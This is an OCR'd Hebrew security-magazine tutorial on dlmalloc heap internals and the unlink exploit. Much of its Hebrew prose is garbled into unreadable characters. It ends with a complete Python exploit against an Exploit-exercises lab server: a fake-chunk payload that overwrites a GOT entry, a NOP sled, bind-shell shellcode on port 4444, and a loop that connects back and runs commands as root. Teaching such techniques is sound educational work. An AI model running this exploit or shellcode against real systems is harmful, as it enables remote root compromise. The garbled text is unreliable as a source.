Unlink Exploitation - Heap Meta-Data Manipulation
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The Heap
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:malloc()nydmn nr¥j7aon

void* malloc (size t size);

Allocate memory block

Allocates a block of size bytes of memory, returning a pointer to the beginning of the block.
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void free (void* ptr);
Deallocate memory block

A block of memory previously allocated by a call to malloc, calloc or realloc is deallocated, making it available again
for further allocations.

" NX wnnnw CNowa ¥ TIp Yo 2INd)

void main ()
{
unsigned int sz;
char * name;
printf  ( "How long your name is: " );
scanf ("%d" , &sz);
name = (char *) malloc (sz);
printt  ("%s" , name);
free (name);
}
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?nTaIY AannMyn N

Dlmalloc- malloc.c implementation by Doug Lea

yop v 10 nx mwnw brk() :xqan System Calbr (Heap nnavin 7w 910 N nnw? 72awa

:LinuxManual-nn nw¥j71on 7w IR L |N'T

brk() and sbrk() change the location of the program break, which
defines the end of the process's data segment (i.e., the program
break is the first location after the end of the uninitialized data
segment). Increasing the program break has the effect of allocating
memory to the process; decreasing the break deallocates memory.
brk() sets the end of the data segment to the value specified by

addr, when that value is reasonable, the system has enough memory,
and the process does not exceed its maximum data size

NNPA9N VIR .WTN N7 Yo I mmap()xizan System Calb' qonai

mmap() creates a new mapping in the virtual address space of the
calling process. The starting address for the new mapping is
specified in addr. The length argument specifies the length of the
mapping.

If addr is NULL, then the kernel chooses the address at which to
create the mapping; this is the most portable method of creating a
new mapping. If addr is not NULL, then the kernel takes it as a hint
about where to place the mapping; on Linux, the mapping will be
created at a nearby page boundary. The address of the new mapping is
returned as the result of the call.
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Allocated Chunk:

+ +
chunk ->| prev_size 0x4 Bytes |
+ +
| size 0x4 Bytes |
+ +
mem - > | data n Byte |
+ +

nextchunk ->| prev_size ...
[Figure(1) Allocated Chunk from dimalloc soujce

NN

N¥ZIN [ NIN DTN NXPIN X7 RIDEDATNY OTIRN 21720 772 DR 0''Thn DIWRdN o'man 4
1X N7 X NYRANNN A7RYN .0TIN Pi7an Y Data Fieléhn 7700 o'wnwn n'kn 0'man
T )2 Y nawa - DTIRD 21720 79 TN DX NDN 2172

JNoRN PN W rman Nk ot ok o'na 4

:malloc()n 72197 XN 7w DITN WD D72 1IRY Y2 INT Memn nTY -

char *mem= (char *) malloc (16);

/[ (mem) -> Points to the data field in the Chunk.

/[ (mem -4) -> Points to the size field in the Chunk.

/I (mem -8) -> Points to the prev_size field in the Chunk.

R PI7a D e YTan i ,oma 8% (aligned mawirn malloc() nxpad? arnpg '»

110 malloc(}7

| (8 + (RequestedBytes / 8) * 8)

.Special Attributesuna pna D'wnNwN 271 D'O9INN DRIYKRIN D'VAN 3 TNNW KRXI' [XON
X7 INwIn'wa 0TIEn 1720 oX T'yn KN - PREV_INUSER jwxan van

N7 IX Nomn p17an ox T'vn NNt - IS_MAPPEBR 7 nwn vtan

Mmwa N7 -whwnvan

(dimallocw winma) :ndImn N¥IN T2V N2 AR AT R [N

void main ()

{
char * mem
char * memQ
mem = (char *) malloc (0x80);
memO = (char *) malloc (0x80);
scanf ("%s" , meny
scanf ("%s" , memQ;
free (men);
free (memo;
}

Error! No text of specified style in document.
www.DigitalWhisper.co.il
4 2017 yan ,81 i




Technologic
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| nextChunk = currentChunk  + (*(_currentChunk -4) & ~0x1)

:PREV_INUS&21N nK 721721 1'wdyi

isCurrentAllocated = *( nextChunk -4) &
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.NTN PI720 DX DNWNI N Poon W n2yoim free() n'yji1onw yaia

Free Chunk:

+ +
chunk ->|prev_size |
+ +
| size |
+ +
mem - > | fd |

+ +
| bk I
+ +
| (old memory, can be zero bytes) |

nextchunk - > | prev_size ... |

(Figure(2) Free Chunk from dimalloc source)
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no' T nx arval 20 nniwa breakpointn'wa

void main ()

{
char * mem
char * memQ
char * meml
char * mem2
mem = (char *) malloc (0x80);
memO = (char *) malloc (0x80);
meml = (char *) malloc (0x80);
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mem2 = (char *) malloc ( );

scanf ("%s"
scanf ("%s"
scanf ("%s"
scanf ("%s"

free (men);
free (mem9;
free (mem);
free (mem3;

men;

memQ;
memyJ;
mem3;

Il < -- Lets set breakpoint here.
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-7 vaaxn (forward pointer 7onw "niwnn 712 'w7win Headern) 0x804a110 + 0x8
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D'7172 ¥ M1 1%0n 7 Wmu? awa nnivn 2172 oA XInw p0-7 Tiny p-1 free(p) n'wy ox

n',7|'71n 1Y "2 AIT'N YXaAN' Muiynn nn'vnl 0'nnx 2v AN 71Nl Y50nl win'y? nMniwn

TTIPN IR VYN MY ,72V191 TN *7nN DX Nk .0x80%7vyn nni nTna

void main ()

{

char *
char
char
char
char

EE

memQ
meml
memz2
mem3
mem4

memO = (char *) malloc ( );

scanf ("%s" , memQ;

free ( mem0;
free (mem3;
free (mem3;
free ( mems;
free ( mem);

Il < -- Let's set breakpoint here.

1727 vy IR PI72nY 0T N2 NIR7 DR ke o 'wiwin free(}a Breakpointorwa

o071 'vann
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NIXTT DY) N1

.0TIj7 N> (0x804a198'y'an7 X711 (0x804al110 'wr7wn 1727 nyd yaaxn (lwxn 7ian
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0x11%7 0x83n mnwn 'wwn pian w 71an

dimalloc?w Sourcea 71721 OX 'y 21727 'Wwn 21720 2 T yxi D 70 nr nn?

NAN 'NXINN DX AKX AT NN ']"7[1]'\3.

if (! nextinuse ){
unlink (nextchunk , bk, fwd);
size += nextsize

1727 INIR X7 TWOXR NN'WI MNIYN KINE DTN .WINn'wA X7 Xan 21720 DX NPT T v

S7TI0 [DTYE MYIpnn nn'ann INIR XNINY unlink npxn? nne "'y n'wy it n2iyo nonn
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NYYIY Nn
11MNY NYow 'wwn 1727 TINX XD D NRAnn N 1I7an Nk aRximn
D NN [IYRIN VAN NDWI X7) 0x89 + Ox8&yya ntw Ox11k- 0x8%n 710 nX 11dTY

(MMniwn oTiEn pi7an

The Merge - Continue & The Vulnerable Macro

2 wnimn An'yann 172 pnann DTN 'KIN2 RY NN

#define unlink(P,BK,FD){

FD = P->fd ;

BK = P->bk;

FD- >bk = BK;

BK->fd = FD;
}

:01YD wnn NpNnn

(FD- >bk = BK) => NextChunk+12 = CurrentChunk - >PreviousChunk
(BK- >fd = FD) => PreviousChunk+8 = CurrentChunk - >NextChunk

Y2 ,1Na nr X wnnn®? 7w (fd-1 Bkw nninan Headers? yran'? 7'awa (8+)-1 12+ mnwn)

NN TIR YOjN NN

void main ()

{

char * mem0Q
char * mem6

memO = (char *) malloc (0x80);
scanf ("%s" , memg(;

free ( mem0;
free ( mem3;
free ( memy;
free (mem32;, //<
free (mem3; //<

1st breakpoint here.
2nd breakpoint here.
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NNIYN 2¥N DX XL IWRIN breakpoint-2 1ixya

WYY 1y IURIN 21720 12 ,0R0IK DNIRY NIOR7PN NMYIZNN Nn'wAn

mem0 3 5
i mem n mem
arbage <« <
Address € L L
fd fd fd
bk bk bk —» Garbage
Address
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wn breakpoint-a 1"'wdy 11xva

O'NIN X
mem0 mem5 | memz2 + mem3
— (—l >
Garbage « 1
Address < fd fd fd

bk J bk bk

Garbage
Address
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21720 |2 AT W L,0NMM 0NN W KX 'WRANN 21727 0YRaXn X7 11D 'l IR pI7an

ynn? 'wuin
(FD- >bk = BK) => NextChunk(memO) - >pointerToBK = CurrentChunk(mem3) -
>PreviousChunk(memb5)
(BK->fd = FD) => PreviousChunk(memb5) - >pointerToFD = CurrentChunk(mem3) -
>NextChunk(memO)

NIX ['2N7 D'N'7¥N DX .NYIZAN NN'YWID [NNRD 21720 XID NN 0TI 21720 700w 77 W

M7 0T DR I907 7D 11D DX MR DD Nn 709 aNan

FD- >bk = BK
[Global Offset Table Address] = [Wanted Function Addr]
BK- >fd = FD
[Wanted Function Addr] = [Global Offset Tabl e Address]

Global Offset Table

DM 17 w'w NrYIe? o'vaxn a7onw n7au k' GOT a1k Global offset Table
DNY NI 1Mmmy7 -GOR 17 2wnY nn .nvnY XWin NaNN7 DNpn 9'oIX N IX7 ONY'NXR X7
N'7X ,|ND'T2 N'¥j7AI9N 7w NAIMdN X7 X'n NXRTN Naundn .call 0x8048388'v printf n'xj7197 nxjp

i printf() nam>? yaavn v oww GOFa n7a02 Dip'm? Namd It
0x8043833> OxSomeAdd> printf Addr

,call 0x804838&1wn nNX yMwd ,NNKR N9 7w Naimd7 0xSomeAddkw 1vin Nk mawa DI

INNAN NIYY 27 'y ,0'Y7119 7w NAIND DNO D'YY7 TWON ' 11N NNIRY N'Y¥119Y7 YION' NT

BK- >fd = FD
[Wanted Function Addr] = [Global Offset Table Address]

N1 X7w T yop o Text SegmeRh NIXYNY N9 7¢ NIAMNDI A¥2A19 W NAMd 0Nt
N'¥j7197 Ni7wY ™1 Shellcodenw? 011007 15 Heapa wnnwin? Nt NIWY? [N DY NN .1*7v 2IMdY
2 ,n7w Shellcode? GOT ' s pr i -MxGh nyAndiwl m@E7EYXNAIT? DX 17w NAINDdN NX

IShellcode-n nx y ar printf() n'xjpav? NP NN 'NNY QYO

.bk headef? y'an? '7awa Nprna 12+n'0onivix 9'oin Nt > -0xCnpw? X7 21wn :nyn

(FD- >bk = BK) => NextChunk+12 = CurrentChunk - >PreviousChunk
(BK->fd = FD) => PreviousChunk+8 = CurrentChunk - >NextChunk
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?NNT Yy N

172 Tav? free() Nn'x22197 DNA7 DDMIY INIX NIAMDN '1'Y DX VX271 NIRTN N'¥22197 van? 'ava
0NA7 0'xN NNIXY Namdn oy Bki (Got Address oina? o'xn nxw namdn aqnt 17w FDnw

:dimalloc sourcé? qiTna .(Shellcoden nx n'7'on1 NNy NX¥NIY NAIMD)

if (! prev_inuse (p)) {
prevsize = p- >prev_size ;
size += prevsize ;
p = chunk_at_ offset (p, -(( long ) prevsize ));
unlink (p, bck, fwd);

if (! nextinuse ) {
unlink ( nextchunk , bck, fwd);
size += nextsize ;

}

D'DMIX 1IN .NXNIY DDWN DY 'MPYAN NPRAN DX 7'YON7 7'awa 0'Rann TR IR 077 01X X
21720 7w Sizea it W W nnwn My DT IR WYL - 19 'NDIRN 21720 21IWNYT D'NjI97 nnat
DTN TR W WA I XAN PI7an YW sizen Dal prev_sizenw Da )Y 2'YaY 0DV .XAN
N1I'NIN PN X7 DIENY7 YA 01 TN 72T Y N OREDNIR 9o RInw N v for e eX(

.Segmentation fautz ninat T

71¥17 DIw D'wmm nan ) yioan OXFFFFFFECwnnwa Solar Designetw winm' Tnxa ox

("9 nirmrwan

ity v

Nulkbytes'7a ¢

Tn 72rmaoon X7

NaN 71720 7w Size Header war Xin 129 'ndnN 21720 DX 21727 NXY' DNNRAYRNYD Njp'w NN
7w prev_size? var xin (OXFFFFFFFCGA N1 imww 1w 27211 17w IR 02N DX 2T

(OXFFFFFFFGA 9w 7w oW nnw D nadn a'n prev_inuse-n 7w 0'anwy 'ndnn pi7an

Nd NXY! L‘)'I'?DOFINF’I

[Previous Chunk With Shellcode][0OxFFFFFFFC][OxFFFFFFFC][Global offset
table][Shellcode Location]

NN O'¥IYD NX7AN NNLY7Y NNN KINY 'NDIN 21722 XAN 21720 IR 197001 Y190 2y "nTay”

JIURIN 21720
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D AR Nt

0x804a000 prev_size - 0x00000000

0x804a004 size - 132Bytes

0x804a008 Shellcode

0x804a088 prev_size - OXFFFFFFFC

0x804a08C size - OXFFFFFFFC

0x804a090 Address from Global Offset Table

0x8042094 Shellcode's Address

A\ 4

0x8042a088 prev_size - OXFFFFFFFC
0x804a08C size - OXFFFFFFFC
0x804a090 Address from Global Offset Table

isCurrentFree = (0x804a088 + (size) + 4) & 0x1 =
*(0x804a088) & 0x1

TONIN'NN p'mn nid'o

P00 TV N'WY nn

NIMTIAN N7Y90 NIdYNA [ND'T 'WOR 7¥ DIY 0107 N7NNNA noN'Nin

NN w2 0'pi7a n'axin 'K Doug Le&w winma malloc.cnx mpn ,Heapn 7y nn%

nXpIn 1I72% Nniwn 172 1 1an? nont'nn

n'7172n 7w n1Iwn Headersn 7w Special Attributegy n1m®4

D'P172 7w TN 7NN DX 'R DINIYNN D'P1720 7Y MR AN'wan NI N2 1'RD
V192

NN wmma nirmtvan N ki foroe egpagn 1w winmin nx mpgn

nmM? oM for e enEadn 7 "TAY" NRTH NIFMtY2l wnnwn? [N R 11200 91017

Shellcodeynin%
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Implementation

190N 790N NT WNK .Exploit-exercises.com TNXNN NANK NIX N9 V7 XWNN DX '2An7 7'ava
privilege :DnN2 D'RWN 7W 2NN 190N DMANKD 7V 120N DMANK DY ATIN7 NIFRIVYYT NRDN
nnpn 4 AnKa v .escalation, vulnerability analysis, exploit development, reverse engineering
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int get requests (int fd)
{
char *buf ;
char *destroylist [ 256];
int dll ;
int i
di = 0;
while (1) {
if (dil >= 255) break ;
buf = calloc (REQSZ 1);
if (read (fd, buf, REQSZ '= REQSZ break ;
if (strncmp (buf, "FSRD", 4) != 0) break ;
check path (buf + 4);
dil ++;
}
for (i = 0; i <dll ; i++) {
write (fd, "Process OK \n", strlen ("Process OK \n"));
free (destroylist [iD];
}
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void check path (char *buf)

{
char *start ;
char *p;
int |;
/*
* Work out old software bug
*/
p = rindex (buf, '/ );
| = strlen (p);
it (p) {
start = strstr  (buf, "ROOTY);
if (start ) {
while (* start = /' ) start --;
memmovéstart , p, |);
printf  ( "moving from %p to %p (exploit: %s / %d) \n", p, start |,
start < buf ?"yes" : "no" , start - buf);
}
}
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import  socket
import  struct
import time

# Where our ShellCode Laies:

HeapAddr = struct . pack ("I" , 0x0804e014 )
# Write's GOT Addr - 0xC

WritAddr = struct . pack ("I" , 0x0804d410 )
# Size of Faking Chunks.

Prev_Size = struct . pack ("I" , Oxfffffffc )
Size = struct . pack ("I" , Oxfffffffc )

# Shellcode opens port on 4444. Shellcode from : https://exploit -
db.com/exploits/40056/

Shellcode = "\x31\xc0\x31\ xdb\ x50\ xb0\ x66\ xb3\ x01\ x53\ x6a\ x02\ x89"
Shellcode += "\ xel\ xcd\ x80\ x89\ xc6\ x31\ xd2\ x52\ x66\ x68\ x11\ x5c \ x66"
Shellcode += "\ x6a\ x02\ x89\ xel\ xb0\ x66\ xb3\ x02\ x6a\ x10\ x51\ x56\ x89"
Shellcode += "\ xel\ xcd\ x80\ xb0\ x66\ xb3\ x04\ x52\ x56 \ x89\ xel\ xcd \ x80"
Shellcode += "\ xb0\ x66\ xb3\ x05\ x52\ x52\ x56\ x89\ xel\ xcd\ x80\ x89\ xc3"
Shellcode += "\ x31\xc9\ xb1\ x03\ xb0\ x3f \ xcd \ x80\ xfe \ xc9\ x79\ xf8 \ xb0"
Shellcode += "\ x0b\ x52\ x68\ x6e\ x2f \ x73\ x68\ x68\ x2f \ x2f \ x62\ x69\ x89"
Shellcode += "\ xe3\ x52\ x53\ x89\ xel\ xcd \ x80"

# Connection to the Server.
s = socket .socket (socket . AF_INET, socket . SOCK_STREAM

s. connect (( "10.0.0.9" , 2993))

# The payload must contian FSRD or it will exit.

MustWord = 'FSRD'

NopLength = (125 - (( len (MustWord)) + len ("/ROOT/" ) + len (Shellcode )))
NopSlide = "\x90" * (NopLength - 1) # -1 because we use 'I'in the end.
FirstChunk = MustWord + "/ROOT/" + NopSlide + Shellcode + 'AAA/" #
Padding & '/'

print  '[+] Sending First Chunk'
s. send ( FirstChunk )
time . sleep (2)

print  '[+] Generating The Malicious Chunk'
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# The Malicious Chunk, MustWord + ROOT/ so it wont exit, Fake Addrs * 2

+ Address. + Padding to complete to 128

MalChunk = MustWord + 'ROOT/" +Prev_Size + Size + WritAddr + HeapAddr +
‘D' * 128

MalChunk = MalChunk [: 128] # Length must be 128.

print  '[+] Sending Malicious Chunk'
s. send ( MalChunk )
time . sleep (2)

print [ -] Closing connection...'
s. close ()

# Connecting to the server as ROOT.

Shell = socket .socket (socket . AF_INET, socket . SOCK_STREAM
Shell . connect (( "10.0.0.9" , 4444))
Shell . send ("whoami \ n")
data = Shell .recv (999)
if data == "root \n":
print  "[+] OWNED !"
else :
print "“[ -]FAILED !
while  True :

cmd = raw_input ("#" )
Shell .send(cmd+ \n")
print  Shell . recv (999)
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